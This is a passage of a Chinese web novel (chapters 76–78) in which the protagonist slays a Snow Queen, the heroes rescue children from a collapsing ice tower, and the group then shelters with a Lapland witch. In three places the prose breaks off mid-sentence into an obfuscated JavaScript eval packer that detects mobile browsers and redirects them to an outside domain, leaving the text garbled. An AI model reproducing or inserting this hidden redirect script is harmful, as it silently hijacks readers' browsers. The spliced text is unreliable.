冰冷锋锐的表面毫无怜悯之心地没入冰雪女王的胸口,滚烫的剑芯在内部熔化了它冰冷坚硬的心脏,然后燃起火焰。华丽的冰晶长裙与它一同在金红的火中消融,流出的“血液”闪烁着星辰的微光。 垂死的冰雪女王闭上眼睛。 它的脸上依旧带着冷淡的微笑——这或许是它脸上最接近于人类的一个笑容,甚至具有某种可以被解读的感情。 虽然那种情绪更接近于讽刺。 在等待着死亡到来的时刻里,它这样轻轻地说:“您知道吗?那个能够摇响铃铛的孩子,我其实只是夺走了他身上的寒冷,并没有带走更多的东西。” 夏章雾愣了一下,松开正在融化的剑柄。 “没有更多的东西?” 他下意识地重复。 也就是说,那孩子其实…… “啊,他的眼中没有放大缺陷的冰块,他的心中没有冻结心脏的冰。他出现在这里,只是因为他想成为我的学生。于是他成了我最喜爱的学生,事情就是这样。” 冰雪女王的身体此时已经在火焰当中消失了小半。 它的声音正在变得越来越轻、越来越接近于透明。它的裙摆变成了有着柔和光焰的火,它的下半身宛若融化在火里的鱼尾。它仿佛从冰雪的塑像变成了火的精灵。 它说:“几年前,出于某种理性的理由,他选择了我。而现在,出于某种非理性的理由,他选择了您。” 夏章雾沉默地看着消融中的文学负面体。 某种沉重的压力让他找不出这个场合能说的话,也不知道自己在这时是不是该说点什么。 “该死。” 最后他只能自言自语地嘟哝了这么一句话,像是在急于摆脱良心上的某种不安:“我应该早点和他说,我对他负不了责的。” 他不可能把那家伙带回现代。他甚至都没有办法做出承诺说他们在未来还会见面,因为夏章雾自己都不知道下次来是在什么时代。 所以就算是这孩子选择了他——选择了他又有什么意义呢?早知道的话,他就该采取更加□□的手段,比如直接威胁之类的。 这样所有事情就都干脆利落起来了。 可惜,世界不允许后悔。 冰雪女王的身躯已经基本被火吞没殆尽,只剩下一个仰起的头颅。夏章雾心烦意乱地看着面前距离死亡只有一步之遥的文学负面体,完全没有下楼去的心情。 一想到那孩子就在下面,他甚至都有一种直接从塔顶偷摸着飞走的冲动了。 “您想把雕像变成人类,这自然可以。但您也要做好相关的准备。宙斯曾赋予了石雕的潘多拉生命,让她成为了人。但终有一日,潘多拉将打开她的盒子,把灾难放出。” 冰雪女王的声音仍然在说着。 在还没有被火淹没的脸上,它终于重新睁开了那对镜子般、但映照不出任何东西的眼睛,平静地看着夏章雾:“终有一日。” 文学负面体的最后一句话,像是一个诅咒。 ——也像是一个预言。 它说:“因为潘多拉的石像,就是为了这个目的而制造出来的。” 火焰微微摇晃,然后便彻底吞噬了它。 只剩下它的最后这句话依旧在尚未来得及融化的冰块墙壁的反射下回荡。 潘多拉…… 夏章雾沉默地凝视着那团燃烧的火焰。 “解决得真是干脆利落啊。” 带着轻松愉快色彩的画外音在他耳边响起:“有什么感想吗?我看你这副对着火发呆的傻乎乎样子,似乎有什么话想要说。” “我的最大感想是:如果某人能早点告诉我那个冰雪女王想要的未来不会成为现实,我下手的速度还能更快点。” 夏章雾幽幽地说,侧眸看去:“但很可惜,某人之所以在我心里的形象十分欠揍,就是因为它在这种时刻百分之百没法派上用场。” 说完这句话后,他就往回走去。 但作者有些迷茫的声音成功地拦住了他。 “我什么时候说它想要的未来不会实现了?” 它困惑地说:“是什么让你产生了这样的错觉?我自己都没确定这件事呢。毕竟有关结局的事总是让人纠结得要命,而且谁也不知道读者到底能在故事框架里整出什么样的幺蛾子。真正定下来可能都要完结了……” “什么?” 夏章雾突然回过头。 “所以你的意思是,我杀了它后反而真的有可能导致那样的未来诞生?” 他指了指自己,皱着眉:“开什么玩笑,它虽然象征来源是极端的理性,但杀死它也不代表人类的理性面就会消失。就算它死了,这和未来的人类会因为感性而死有什么关系?” 作者很认真地想了想。 “这个我很难和你解释,因为我一解释就会出现非常严重的剧透。说不定会有读者尝试着把我给打死。” 它说:“我只能说,它的做法确实相当具有可行性。但那毕竟是未来的事情,你还是可以尝试去改变那个未来的嘛。” 夏章雾差点被气笑了。 “我连它到底干了什么都不知道,要怎么才能规避未来?靠无头苍蝇一样瞎转悠?” 他忍不住反问:“你该不会要和我说,这个未来到底会不会出现,取决于我一路上的主线任务评分吧?评分高就万事大吉,评分低就直接进入悲剧结局?” 结果作者十分微妙地“唔”了一下。 “仔细想来,似乎也的确是这么一回事。”它嘟哝起来,“总之你好好工作……等等?” 说到这里,它才突然意识到了什么不对劲的地方,本来犹犹豫豫的声音瞬间大了起来: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568057|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以你为啥关心人类的未来啊!那又不属于你的工作范畴,而且你的人设难道不是动不动就要撂挑子不干吗?不要擅自把人设更换为那种为了人类兢兢业业的正统救世主啊!这种事情就算发生那也是三十世纪往后的故事了吧!” 夏章雾也没好气地抬高了声音。 “因为这件事就是我干的啊!”他大声回道,“那家伙就是我亲手杀死的,怎么也得负点责任吧?虽说不管怎么样,我都不能放任那颗能随时毁灭全人类的炸弹就这么存在下去——” 作者面无表情地“呱呱”鼓两下掌。 “哇,那你好棒哦。”它说,“什么时候你对人时也能有这种责任心就好了。” “……” 夏章雾悄无声息地哑火了。 他盯着面前在杀死了冰雪女王后仍然在熊熊燃烧的火焰,痛苦地开始思考接下来该怎么面对那个选择了自己的孩子,开始思考别的孩子,开始思考自己怎么离开这个时代,开始思考…… “话说这火怎么越烧越大了?” 夏章雾忍不住说。 面前的火焰本来只是一个普通篝火的大小,现在好像已经快要蔓延到墙壁那里去了,面积也扩大了许多倍。 “这是什么白痴的问题。” 作者说:“火本来就是越烧越大的。” “所以,”夏章雾谨慎地后退一步,“你的意思是它不会自己熄灭?” “这就更白痴了。” 作者毫不客气地评价:“这个世界上哪有会自己熄灭的火。不都是可燃物烧没了后才会熄灭吗?现在它的可燃物明显就是冰啊。” ……啊哈。 夏章雾冷汗瞬间就下来了。他看着面前还在急速扩张的火焰,第一反应就是冲下去捞起下面的孩子就跑。但他很快就想到了另一个问题。 ——下面的孩子足足有六十个。 这一点他记得很清楚。因为吟游诗人的儿子凯恩就是他们遇到的第四十个孩子,塔顶上的那只小河豚正好就是第一百个。而如此庞大的数量简单明了地说明了一件事。 面前火焰燃烧的速度加上塔的高度,注定这座塔的坍塌会非常非常的快,快到光凭奔跑完全没有办法逃过去的地步。 而如果是飞的话,他没办法带着六十个孩子一起飞。 夏章雾深吸一口气,看向塔顶那辆属于冰雪女王的车辇。此刻火还没有烧到那里,拉车的冰鸟警惕地看了他一眼,立刻想要飞走。 但很可惜,它飞得没人类快。 现在已经熟悉了该怎么对付这类飞行生物的夏章雾瞬间展开翅膀,毫不犹豫地追上了对方,并且采取了最简单粗暴的方式,直接坐在了冰鸟的背上。 “给我停住!” 他抱住冰鸟的脖子,然后掏出衣服内侧的猎刀——感谢他总是喜欢随身带着这个东西——果断地插入这只大鸟的脑袋部位:“不想死就给我滚回去,听我指挥!” 冰鸟发出一声可怜的哀鸣。 头顶剧痛的它不得不听话地重新飞回去,拖着巨大的车辇重新回到火焰弥漫的塔顶,并直接撞开楼梯,往下方飞去。 “喂喂喂,那个河豚——我是说你快上来!” 夏章雾紧紧地握着猎刀,驾驶着冰鸟停在男孩身前,语气急迫地喊道:“上面着火了!现在整个塔都快要倒塌了!” 孩子眨了眨眼睛。 他同样没有犹豫,直接抱着笔记本爬上了冰鸟的背部,然后紧紧地抱住了大人的身子。 而被突然抱住的夏章雾短暂地愣了一下,听到上方火焰噼里啪啦的爆裂声后才反应过来,拽住猎刀,命令鸟往下俯冲。 就在他们撞开下面的楼梯时,上方冰层制作的天花板便轰然倒塌。 “现在倒塌的速度只会越来越快——加速!” 夏章雾对冰鸟说,然后才有些头疼地看了眼紧紧抱着自己的孩子,没好气地开始用另一只手捏他的脸:“还有你啊,我是让你上后面的车辇里去,不是让你爬上来和我在一块!” 小孩子的脸被他揪得红红的,但也没有和某只东亚品种的河豚一样鼓起来,而是闷闷地直接往他的胸口一埋。 “不要。” 他说:“后面的看上去很不稳,很容易被你开翻的样子。” 有吗? 夏章雾默默地看了眼后面的车架。 哦。好吧,其实已经翻了。 77.一起来看流星……极光吧! “嗷呜!嗷嗷!” 狮鹫的声音在宽广的冰原上响起。 正在照顾着孩子的吟游诗人斯库德抬起头,看着突然张开翅膀、变得激动而不安的狮鹫,有些不明白到底发生了什么。 “怎么了?”他问,然后抬头看去。 此时的夜空已经被绚烂的绿色光辉铺盖,明亮的轨迹在空中宛若丝绸那样划过,围绕着中央那座高得不可思议的巨大白塔。 “呜呜。咕呜呜。” 狮鹫发出紧张的声音,趴伏下来,耸动着自己的鼻子,同时用力地晃了晃自己的脑袋——它头顶上的剑在北地的空气中挂着霜。 斯库德听懂了狮鹫想要表达的含义。 “什么?你说这座塔被点燃了?” 吟游诗人赶紧站起身,朝上看去,在耀眼的绿光下并没有看到有任何冒出的浓烟。 但他咬了咬牙,还是选择相信了狮鹫的话,跑去骑在狮鹫的背上,费力地抓住了它的皮毛。 “孩子们!赶紧找个地方躲起来,现在这座塔马上就要坍塌了!” 斯库德用力抓住剑柄,在狮鹫飞起来的同时稳住身体,朝下方有些慌乱和不解的几十个孩子们喊道:“我要上去找人,你们一定要好好照顾自己。凯恩,等爸爸回来!” 他此刻的样子真的很像传奇小说中骑着狮鹫去拯救受难者的英雄。这让人群中那个最高的小男孩吃惊地张大嘴,似乎都有点不敢相信这个人是自己印象里没什么本事的父亲。 但他还是在同龄人的目光下,红着脸用力地点了点头。 “我会照顾好大家的!”他说。 斯库德没有回答,他只是拍了拍狮鹫毛茸茸的脑袋,和它一起飞向了高塔的入口。 他知道自己此刻的姿态没什么帅气的,也知道自己大概支撑不了多久。之前勒托先生明确说过了,如果他继续往塔上走会有危险。 但他必须亲自带着狮鹫走一趟。 现在塔的底部看上去还没什么问题,和他之前来到这里时看到的内容一模一样,斯库德只是看了一眼,就催促着狮鹫进去。 “先进去。勒托先生和我说过,塔内和塔外的空间不一样。” 吟游诗人努力让自己冷静下来,尽可能地回忆着不久之前发生过的种种细节,努力学习着那位天使镇定的口吻,安抚着狮鹫:“虽然我没怎么听懂,但明显走里面要花的时间更短。我们先飞到里面的四十三层。” 狮鹫“嗷”了一声作为回应。 它直直地向上飞去,顺着旋转楼梯所在的方向飞行。只花了一分多钟不到的时间,他们就停在了四十三层。 那里有一个孩子。 “把他打晕!我们一起拖上来!” 现在时间争分夺秒,也来不及用什么比较柔和的方法了。 倒是狮鹫听到命令后就兴奋地叫了两声,冲出去就用一个巴掌达成了拍晕的效果。 而斯库德虽然怀疑这一巴掌的力度,但时间也不允许他在这里发表质疑。他赶紧把孩子抱上狮鹫的背部,然后就开始前往下一层。 很快,狮鹫背上就躺了八个昏过去的孩子。 此时他们已经在第五十五层了。 斯库德的嘴唇此时已经变成了绀紫色。他大口大口地喘着气,两只手不得不用力地握着狮鹫脑袋上的剑柄,这才能让自己在一阵阵的头昏眼花当中从狮鹫背上摔下来。 “再带两个……两个。我们就回去。” 他此时的声音已经有点断断续续,他贴近狮鹫的脑袋,用力地在急促呼吸的间隙挤出几个字眼:“然后,你再回来,继续重复这么干。我没法继续往上了,但你肯定……还可以。” 狮鹫“呜呜”了两声。 它扭头看了看身后的人类,又看了看自己身上所剩不多的空位,没有听对方的话继续向前,而是转身飞快地重新俯冲而下。 它又飞到第一层,又重新飞到孩子们聚集的地方,把带来的八个孩子与吟游诗人全部抖落在雪地里,然后头也不回地重新飞了回去。 “嗷呜——” 狮鹫拍打翅膀,这样地嚎叫着,重新冲进正在燃烧着的塔中。 此时的大火已经一路烧了下来,愈加旺盛的火光就算是在极光中也能隐约可见。 火焰与掉落下来的冰块几乎是在紧紧地追逐着塔内不断俯冲而下的冰雪车辇。与此同时,被破坏了结构的过高塔身也在摇摇欲坠,随时都有可能断裂倒下。 夏章雾操纵着冰鸟,尽力躲过上方不断跌落的碎冰,同时用最□□的方式撞开楼梯,以最快的速度直达下一层。 缩在他怀里的孩子安静地看着周围,然后有些别扭地转过身去,选择和夏章雾面向同一个方向,然后拿出了怀里紧紧抱着的笔记本。 “我要帮你翻开这个吗?”他问。 “现在是第三百零五层……其实预言在这种场合也没有什么大用处。” 正在控制冰鸟方向的夏章雾说,然后有些无奈地叹了口气,把注意力重新放在了面前的障碍躲避游戏上:“不过你想知道上面内容的话,我也可以继续念给你听。” 于是孩子默默地翻开一页。 夏章雾只是匆匆地扫了一眼,就感觉自己额头上面的冷汗快要冒出来了,手中的动作也随之一抖,差点没有避开上面掉下来的碎冰。 「玧末: 账务君,您知道什么叫做修罗场的导火索吗?读者千千万,您得雨露均沾,罚你从头到尾认真回答每个读者的评论!!」 「Audience: kuso,我嫉妒了(平静的语气)」 “这上面是什么内容?” 孩子询问道。 他也发现身边这个大人此时的表情有点不太寻常,看上去就像是突然罹患了牙疼病,显得有些龇牙咧嘴的。 “是那群家伙知道我夸了上次那个假装很可爱的家伙很可爱后,跑过来纷纷试图要求我承认他们也很可爱……” 夏章雾有气无力地回答,然后用力地抓了抓自己的头发,成功把自己海藻一样的黑褐色卷毛搓得更加乱糟糟了。 “问题是现在才不是夸你们可爱的时候——不过好吧好吧,你们全都很可爱行了吧?会因为这种事情郁闷的都是什么级别的笨蛋啊!” 他如是吐槽着,带着冰鸟继续接二连三地撞出下面的道路。 在他的身前,男孩似乎有些好奇地看了手中的笔记本片刻,用手抚摸着上面光滑的纸页,这才翻到下一页,同时口中默默地念着他们目前所处的楼层。 “第两百七十二层。” 哗啦哗啦的翻动声让夏章雾下意识地轻轻扫过了一眼。 「玧末: (欲言又止)感慨啊感慨,轻飘飘地就给你通关了,不过这次的重点可不是OOL哦~」 「桉莉斯: 我知道!是黑历史!」 可恶,这种事情自己知道就行,完全没有说出来的必要吧! 夏章雾在心里悄无声息地进行了一番抨击,最终决定不把这段内容告诉给面前的孩子,而是在这一页上快速地扫动过,选择了另外的发言。 “哦,他们还夸了我是非常善良的天使,拯救未成年人于水火之中。” 他选择性无视了这句读者评论其实充满着反讽和调侃意味的事实,直接面不改色大言不惭地说道:“我觉得也是这样。” 倒是他面前的孩子似乎有点不同意见。 “是吗?”男孩说。 然后他翻到了下一页,同时轻声地念出了这次他们现在已经抵达的位置。 “第二百三十六层。” 这一页上有一个特别显眼的评论,夏章雾只是匆匆地看了一眼,就感觉自己的注意力被吸引过去了。 当然,主要是因为那个黑条明显得实在是有点过头。 「liar七零八碎: 这个塔果然还是被教授烧了呢。翻车教授可爱捏,相信教授能解决捏。所以█████吧!小仓鼠团子可爱捏,危险捏。」 “……”夏章雾沉默了片刻。 他开始思考这个明显挡住了什么关键内容的黑条到底是liar自己干的还是作者干的。但不管如何,都说明这里曾经存在着什么重要的内容,但现在他已经彻底无法得知了。 但很快,他就得出了结论。 “我告诉你一个秘密,” 夏章雾这一次沉默了很久,这才幽幽地对身前的孩子说道:“其实我们这个世界的创造者是一个非常恶趣味的混蛋。” 孩子歪了下脑袋:“真的?” “当然是——第一百三十层到了。” 夏章雾本来还想说些什么,但很快就意识到了自己已经来到了下一个人所在的楼层。他深吸一口气,紧紧地拽住还想继续往下飞的大鸟,通过一个快速的急刹停下。 “快上来!”他对那个似乎有些呆呆愣愣的女孩说道,“现在塔已经要塌了!” 然而小女孩只是呆呆地看着他,似乎完全没有反应过来,也像是对这种结果漠不关心。 “上来,到后面去,抓紧。”冰鸟上正在捧着笔记本的男孩也看向她,语气平静地命令道。 女孩沉默地眨了眨眼睛,这才很听话地跑到了车辇的位置上做好,并紧紧抓住了扶手。夏章雾也没有在这里多说什么,直接上手往刀柄上一按,让冰鸟不得不吃痛继续往下飞去。 他们现在的速度比塔自上而下倒塌的速度要快一点,但不是很多。现在几乎每一层都需要停下来拉孩子上车,一停一走之间速度就更慢。他很难及时把所有孩子带走。 “总之,走一步看一步吧。” 夏章雾低声地自言自语道,眼神很快便又坚定下来,随后看了眼身前男孩翻开的笔记本,那上面已经又是新的一页了。 「玧末: 账务,你要真是OOL或者什么奇怪的世界意识体,然后叽里呱啦地黑化/走偏/准备牺牲/怀疑自己,读者该怎么救你呢?」 “喂喂喂。虽然我知道这是在提前关心,但未免也太提前了,提前到像是污蔑了啊。而且这种事情到底有什么好担心。” 夏章雾嘟哝了一声,然后叹了口气:“如果真的有一天我会变成什么乱七八糟的样子,让我直接去死不就行了吗?” 他按住冰鸟的头。 “继续,只要看不到人就往下飞。” …… 狮鹫低头叼住被自己拍晕的孩子,一扭头就将她甩到了背上。它现在背上已经有了十个人,其中有几个孩子还是被交叠着堆在了一起。现在已经容不下更多的位置了。 “呜。” 它拍动翅膀,重新往回飞去。 作为野兽的直觉让它敏锐地感知到了越来越接近的火焰。不过作为天生拥有飞行能力与巨大力量的生物,它有信心在火焰烧到自己所在的楼层时直接撞开脆弱的墙壁离开。 所以它并没有什么畏惧,只是做着自己应该做的事情:尽可能多地带着还留在高塔上的孩子们离开,把他们放在雪地上,交给那个笨蛋吟游诗人,然后继续重复。 也许还能再这样重复两次。 用了两分钟就重新飞回营地的狮鹫在心里这么想,然后用鼻子蹭了蹭有些虚弱的成年人类。 其实它是一只很聪明的狮鹫,知道该怎么计算速度与时间。只是它在对手的选择上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到他手里提着两个被解决的未成年时,必须依靠撞击开路的冰车才会在“轰隆隆”的声响中降临。夏章雾就直接把被打晕的孩子往车上面一扔,继续往下冲。 “第八十二层……” 夏章雾低声地说道,然后提起这个自己一路向下以来见到的第二十五个孩子, 现在就算是冰车上面的位置也变得相当拥挤了。说到底,这种交通工具根本就不是为了这么多人挤在一块使用建造的。 现在他估计只能带着这两个孩子一路向下,或者把他们安置在冰鸟的身上——车上已经没有多余的位置可以给他们了。 而且这里快要塌了。 夏章雾目光严肃地瞥了一眼墙壁上明显豁开的裂痕。现在火焰还没有烧到这里,但这座精妙且高耸的建筑物已经被破坏了结构与平衡——现在马上就会有半截塔身直接倒塌下去。 男孩驾驶着的冰鸟已经来到了这一层。他让那只鸟停下,转头安静地看向夏章雾,仿佛正在等待大人对此做出的回答。 是放弃还是继续尝试? 夏章雾皱了下眉:说实在的,继续尝试绝对不是明智的决定。现在带着已经被救下来的孩子离开才是最明智的选择。 但是……这里是小说。所有的情节都来自于一位混蛋作者的笔下。 而一个作者只要不是突发恶疾,就不会拿无解的人性困境去拷问自家主角——如果真的有作者这么干,那么读者就能教会这种作者到底该怎么做人。 所以肯定有转机,也就是…… “嗷呜!” 狮鹫的声音传来。 巨大的有翼野兽带着身上的最后七个孩子从下方窜了出来,发出惊喜的吼叫。夏章雾愣了一瞬,扇动了几下翅膀,随后也笑了。 “我们走!”他转头对坐在冰鸟上的男孩说,“直接撞开墙壁飞出去!” 所有的人都已经被带走了,他们已经没有其他需要顾虑的地方。 于是背上驮着好几个人的狮鹫和仿佛在拖家带口搬迁的冰鸟一起用力撞开了墙壁,从轰然倒塌的高塔当中飞出。 在它们后方,巨大的冰塔在燃烧中倾颓。 它巨大的塔身撞击在雪原上,但却奇迹般地没有发出任何的响动,仿佛一座自从远古时代就存在于这片土地上的冰川,或者说一种死去生物的残骸。 夏章雾把那两个昏过去的孩子丢在狮鹫的背上,就飞在两只神话里才会出现的动物身边。他长长地呼出一口气,然后对坐在鸟上的孩子露出一个轻松的笑容。 “嗯哼。” 作者笑盈盈的声音突然响起:“这种惊险刺激的感觉怎么样?” “完全不怎么样。” 夏章雾收回目光。 他回答的语气相当不客气,但嘴角却有着若有若无的笑容:“我怀疑你就是想要给我本来就充满麻烦的生活增加更多的麻烦。” 他们正在朝着大地飞去,那里倒塌的塔身上成片成片地燃烧着烈火,犹如金红色的花朵漫山遍野地在雪原上面盛开。 就在这一刻,贫瘠的北寒之地似乎成为了世界上最壮观的花海。 作者在它的救世主耳边轻轻地笑着。 “别这么说嘛。”它说,“至少我让你们从塔里跳出来时的高度位于大气电离层的下面。不然你们就要零距离欣赏带电粒子制造的极光了。” 此时的极光仍未散去。 碧绿与橘红交织的光辉仿佛是天空中的另一种火焰,燃烧着北地整个极夜的天穹。 ——如此美丽的毁灭。 夏章雾抬起头,忍不住也笑起来。 “话说回来,极光还真是漂亮啊。” 78.小孩什么的才不会喜欢 在非常遥远的后来。 在遥远到那座塔上的孩子们都已长大,遥远到那天的故事已经成为不被人相信的传说,遥远到人们忘记了曾经有位“天使”来过这片土地的日子里。 已经老去的吟游诗人坐在火炉边的摇椅上,回忆起自己的过去,却总是会想起那一天: 在他与孩子们望着不远处的火海时,那个上下皆闪耀着火光的黑暗世界里,有着黑白双翼的天使和神话中的生物们带着其他的孩子从绚烂的天空落下。 那位天使仰起脸深深地呼吸了一口空气,把手放在胸口的位置,然后眯起金棕色的眼睛,朝自己露出一个明亮灿烂的笑容。 他身后赤红的披风在空中猎猎作响,宛若被系在脖颈上的另一簇火。 “这里真够冷的。” 他说:“一起回去烤火吧。” 于是他们就回去烤火了。 ——那真是个很好的故事啊。 在北方的森林边。 温暖的小屋有着温暖的光。 温暖的火焰炖着温暖的汤。 拉普兰女人用她的锅和长柄勺炖着杂烩,浓郁的香气不断地从锅里飘出。一大群孩子们好奇而又欣喜地在汤锅边上探头探脑。 被允许进来休息的狮鹫趴在软垫上打盹,丝毫不在意另外一群孩子在他的身上爬上爬下地嬉闹。收起了自己羽毛的天使蹲在地上,煞有其事地带着一些孩子切胡萝卜与白洋葱。 吟游诗人和自己的儿子则是在安慰那些因为害怕而哭泣的孩子,好让他们的脸上重新露出微笑,和同龄人们抛开忧虑地玩在一起。 外面的风声很大,但里面很暖和。 “幸好我在发现塔燃烧起来的时候就预料到了这样的场景。你们这两个家伙肯定没法靠自己安置那么多孩子的去处。” 年轻的拉普兰女巫一边熬汤,一边嘟哝着抱怨道:“但我没想到会有这么多,我这里可没有办法放下这么多的孩子——” 一个女孩抱住了她的身子。 于是拉普兰女士干脆把这个小家伙给抱了起来,搂在怀里,用手指去捏她的鼻尖。 “你们这群糟糕的小笨蛋。” 她假装凶恶地说:“我这里的汤材料都快不够了,我要把你们也全部丢到里面!还有那只蠢狮鹫,我要拿它做皮草垫子!” 她实在是太凶了,锅边上的孩子们被吓得叽叽喳喳叫——然后全都躲到了她的裙子后面,紧紧地抱着她,又咯咯地笑起来。 狮鹫更不在意。它的耳羽簇只是轻微地晃了晃,然后便又重新不以为意地趴了下去。倒是惹得它头上的孩子们“哇哇”地喊叫,又拿手去摸。 就算是女巫也拿这些小无赖们没有办法,只好叹了口气,用长柄勺舀了一勺热汤,分别给他们的小碗盛上。 “喝吧,你们这些小坏蛋。” 她说:“我先把你们喂得白白胖胖的,然后你们就全完蛋了。” 在热乎乎的鲜汤威力下,这些孩子们又重新乖巧下来,挨个坐在边上,小心翼翼地朝自己的碗里吹气,专心致志地喝起了汤。 或许因为她是这里唯一年长的女性,这群孩子很喜欢她。这大概是这些远离故乡的孩子们所能接触到的最接近母亲的存在。 虽然这位来自拉普兰的女士似乎并不怎么想要担任这样的角色就是了。 不过夏章雾对此倒是乐见其成。事实上,他恨不得所有的孩子都围着另外两个成年人转,如果能把他当成什么不存在的东西就更好了。 不过目前来看,这个愿望不太可能实现。 至于原因么…… 夏章雾发自内心地叹了口气,很是头疼地看着身边正在默默切菜的孩子,最后还是忍不住开了口。 “切洋葱的时候如果眼睛痛,可以把洋葱放到水里面切。”他提醒道,“或者也可以把它交给我来处理。” 男孩抿着唇没有说话,只是抬头飞快地看了夏章雾一眼,然后又低下脑袋,开始默不作声地和刀下的白洋葱较劲。 不过就算是匆匆一瞥,夏章雾也看清楚了对方挂着泪水的红眼睛:看上去比平时还要红上很多,简直像一只耷拉耳朵的小白兔子。 嗯,还挺好玩的。 夏章雾努力地忍了忍,最后没忍住,还是笑出了声。 ——好吧,看来是笨手笨脚的小家伙被大人揭了短,面子上有点过不去,开始生闷气了。 不过好玩归好玩,夏章雾还是把这个明显不适合待在厨房里面的小家伙给提溜起来,拖去洗了洗脸。这个晚上大家都很忙,所以每个人最好都待在自己适合的地方。 晚餐时间很快就到了。 在拉普兰女士的不懈努力下,两锅汤都被盛了出来。美妙的味道和满满的食物分量让大家都很安心。 而在安抚了这些咕咕叫的小肚子后,房间里暖和的空气与吃饱后的满足感快速地让这些孩子进入了昏昏欲睡的状态。拉普兰女士也赶着他们找到了各自的床位。 其实也没什么床位,就是打地铺。其中狮鹫的背部因为过于柔软,得到了广泛的喜爱。上面至少四仰八叉地躺了十个小孩子,身边还靠着好多缩成一团的。 “看来你不能在睡着时乱翻身了。” 斯库德很抱歉地对狮鹫说:“我没想到你竟然这么受那些孩子的欢迎。我的意思是……” 狮鹫朝他打了个喷嚏,趴下来懒洋洋地张开自己的翅膀,把那些靠在自己身边的孩子用羽毛搂住,然后往侧边挪了点,示意自己给这个愚蠢的吟游诗人留了个被捂暖和的位置。 吟游诗人很是受宠若惊,几乎都要感动得抱住狮鹫的脑袋。他完全没有想到自己还能被留下一个位置。 “他们两个笨蛋相处得真不错。” 拉普兰女人说。 她穿着厚厚的衣服,熄灭了小屋门口的灯,然后拿起自己的提灯,那对淡蓝色的眼睛在灯光下面闪闪发光。 靠在墙壁上,对着自己笔记本写写画画的夏章雾抬起头。 “他们两个确实都是笨蛋。”他说,“不过你这幅打扮,是想要出门吗?” “嗯,就算没有足够的被子,我也得去附近的地方买适合他们的衣服。” 拉普兰女人轻轻地拨弄了一下自己的头发。她看了眼屋子里面的孩子们,眉眼间的神态似乎也逐渐柔和了下来。 她说:“我知道附近当地人的集市。不过我需要带着那只冰鸟和它的车一起走,才能把那么多衣服带回来。” 夏章雾“哦”了一声,然后想了想。 他绕过周围躺得四仰八叉、几乎不给别人留下什么行走道路的孩子们,小心翼翼地抱起自己一直放在这里的行李箱,从里面拿出那只没来得及拿出去换钱的手电筒。 不过这次他先是谨慎地调低了手电筒的默认亮度,才把这个命途多舛的手电筒递过去。 “这个就给你了,只要按这个可以让它发出强烈的光芒,比提灯好用很多。” 他说:“如果你能拿它换钱,那么就拿那份钱用来给孩子们买衣服与被子,冬季与夏季的衣服最好都给他们买一些。” 拉普兰女人接过手电筒,似乎有些惊讶地看了面前的人一眼:“夏季的衣服?” 夏章雾点了点头,简单地嗯了一声。 他解释道:“我未来还要带这些孩子找到居住的地方,不可能一直留在这里。如果要带他们去南方,薄一点的衣服也是必要的。” 拉普兰女人挑了下眉毛。 “你说错了一件事,先知。” 她说:“这里用的词汇不应该是‘我’,而应该是‘我们’。” 说完后,这位北欧的女巫就走出门,轻巧地一跳来到了冰鸟的背上,打开手电筒的灯,握住鸟头顶的刀柄,在灯光下对夏章雾微微一笑。 然后她便驾驭着这只大鸟飞上了夜空。 只留下夏章雾有些诧异地站在原地,抬头看着那个驾着飞鸟离开的身影。 “她的意思是,她打算和我们一起去解决这些孩子的问题?”他问作者。 “如果你的耳朵没有发生什么事故的话,那你就会知道,她的确是这个意思。”作者回答。 夏章雾用力地“呃”了一声,连对作者充满攻击性的话都没有还击,只是满脸纠结地看着月色明朗的夜空。 “也就是说,我们接下来还会同行挺长一段的时间?”他仿佛自我怀疑般地说道,“一直等到我们把这些孩子都送到各自的地方?” “你看上去并不是很愿意的样子。”作者说。 “不,我只是……” 夏章雾似乎想要说些什么,但最后只是简单地叹了口气:“好吧,我有点不太适应这种事。” 不过对于自己口中的“这种事”到底指的是什么样的事情,他并没有说清,只是合上笔记本,顺便也把房间里最后的一扇挡板也放了下来。 房间里最后的光源也消失了。 “你知道吗?其实你也是笨蛋,亲爱的。” 作者突然开口。 “我知道。” 夏章雾的声音很轻地在房间里响起:“不过你还是先给我闭嘴吧。” 于是他们谁都没有再说话。 房间里重新恢复了热闹的安静。小孩子打呼噜的声音和翻身咕哝的声音混合在一起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“话说回来,其实我很期待你在被滴眼泪的时候能学着其他几个孩子哭一哭的。” 身边人的声音响起,其中似乎带着几分调侃的味道:“毕竟我还没见过你哭的样子——切洋葱的时候除外。” 孩子抿了一下嘴唇。 “我不喜欢哭。”他说。 从一个小孩的口中说出这样一本正经的话似乎有点奇怪。自称勒托的大人就发出了低低的愉快笑声。 孩子感觉到自己的脑袋被摸了两下,于是有些不满地晃了晃自己的头,想要赶走大人的手。 ——他说的这句话是认真的,并不是小孩子的赌气。他想要这么说,但被打断了。 “嗯,我知道。你确实就是这么想的,毕竟我以前也会这么想过。我也不是想要劝你变得正常点,也不是在劝你应该学习怎样哭泣。” 那个男人用轻松的语气这么说:“总该有人与众不同的。更何况那位女王都和我说过了,你是那座塔中身体里唯一没有冰块的人。” 孩子突然转过头。 